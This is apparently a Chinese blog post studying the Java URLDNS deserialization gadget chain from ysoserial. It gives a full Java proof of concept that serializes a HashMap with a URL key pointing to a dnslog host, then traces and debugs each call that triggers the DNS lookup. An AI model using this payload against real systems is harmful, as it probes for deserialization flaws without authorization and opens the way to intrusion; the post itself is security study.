• URLDNS反序列化链学习


    URLDNS

    URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包。

    1、利用链

     *   Gadget Chain:
     *     HashMap.readObject()
     *       HashMap.putVal()
     *         HashMap.hash()
     *           URL.hashCode()
       		URLStreamHandler.hashCode()
       		  URLStreamHandler.getHostAddress()
    

    其实看这个利用链我们就能发现其实跟cc6的利用是差不多的。

    2、POC

    2.1、漏洞复现

    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.*;
    import java.util.HashMap;
    import java.net.URLStreamHandler;
    import java.util.HashMap;
    
    public class URLDNS {
        public static void main(String[] args) throws Exception {
            String url="http://wmm760.dnslog.cn";
            URLStreamHandler handler = new SilentURLStreamHandler();
    
            HashMap ht = new HashMap(); // HashMap that will contain the URL
            URL u = new URL(null, url, handler); // URL to use as the Key
            ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    
            Field hashCode = URL.class.getDeclaredField("hashCode");
            hashCode.setAccessible(true);
            hashCode.set(u, -1);
    
            serialize(ht);
            unserialize();
    
        }
        static class SilentURLStreamHandler extends URLStreamHandler {
    
            protected URLConnection openConnection(URL u) throws IOException {
                return null;
            }
    
            protected synchronized InetAddress getHostAddress(URL u) {
                return null;
            }
        }
    
    
        public static void serialize(Object obj ) throws Exception{
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
            objectOutputStream.writeObject(obj);
        }
        public static void unserialize() throws Exception{
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
            objectInputStream.readObject();
        }
    }
    
    

    image-20220405141952914

    2.2、POC分析

    其实创建了一个空的URLStreamHandler,把它放进我们的创建的URL类(放着我们的验证dnslog),再把 他们放进HashMap,通过反射去修改URL的hashCode属性为-1。

    String url="http://wmm760.dnslog.cn";
    URLStreamHandler handler = new SilentURLStreamHandler();
    
    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    
    Field hashCode = URL.class.getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    hashCode.set(u, -1);
    

    URLStreamHandler

    我们看第一段的URLStreamHandler类的hashcode方法,他会把我们的传进去的URL通过getHostAddress触发,我们现在需要查找哪里调用了URLStreamHandler的hashCode()

    image-20220405142545635

    URL

    在URL类中的hashCode方法,如果hashCode不等于-1,就会直接返回,这就是我们为什么要反射 设置hashCode为-1的原因,handler其实就是我们在URL构造方法传入的URLStreamHandler,所以这里调用的是URLStreamHandler的hashCode方法,并且this就是我们的通过构造方法传入的URL类。再往上找哪里调用hashCode方法,这时我们就可以想到cc6链的运用了。

    image-20220405143322650

    那就是HashMap

    HashMap的hash方法会用传入的key去调用key的hashcode方法,所以我们只要把URL类传给HashMap的key就可以了。

    image-20220405143950292

    再通过readObject的putVal调用即可

    image-20220405144153531

    2.3、POC调试

    首先我们在HashMap的readObject打下断点,可以看到key就是我们的URL类,value是一个"恶意网址",用于条件判断

    image-20220405144320262

    进入到HashMap的hash方法,调用key的hashCode方法就是调用URL的hashCode方法,继续跟进

    image-20220405144828908

    handler就是URLStreamHandler,在new URL()传入的,this是本类URL类,继续跟进

    image-20220405145020989

    URLStreamHandler的hashCode方法,他会调用getHostAddress方法,该方法会去远程请求,多说一句也是我们审计用来审计ssrf漏洞的常用函数

    image-20220405145215502

    在这句代码会请求两三秒的样子,dnslog成功收到。

    image-20220405145536102

    2.4、结尾

    总体来说这条链是比较简单的,但是就是不能够执行命令

    参考链接

    https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

  • 相关阅读:
    redis和mysql缓存一致性
    java八股文面试题
    进程地址空间续篇-Linux
    网工内推 | 字节原厂,正式编,网络工程师,最高30K*15薪
    力扣第1488题——避免洪水泛滥
    Redis之主从复制
    软考高项-项目评估与决策&招投标
    最强大脑记忆曲线(5)——主程序设计
    双十二数码家电推荐 家用投影仪和投影机哪个好?
    检测图像的圆形 检测直线 Hough变换检测直线 圆形检测 圆心半径检测 -matlab
  • 原文地址:https://www.cnblogs.com/akka1/p/16102393.html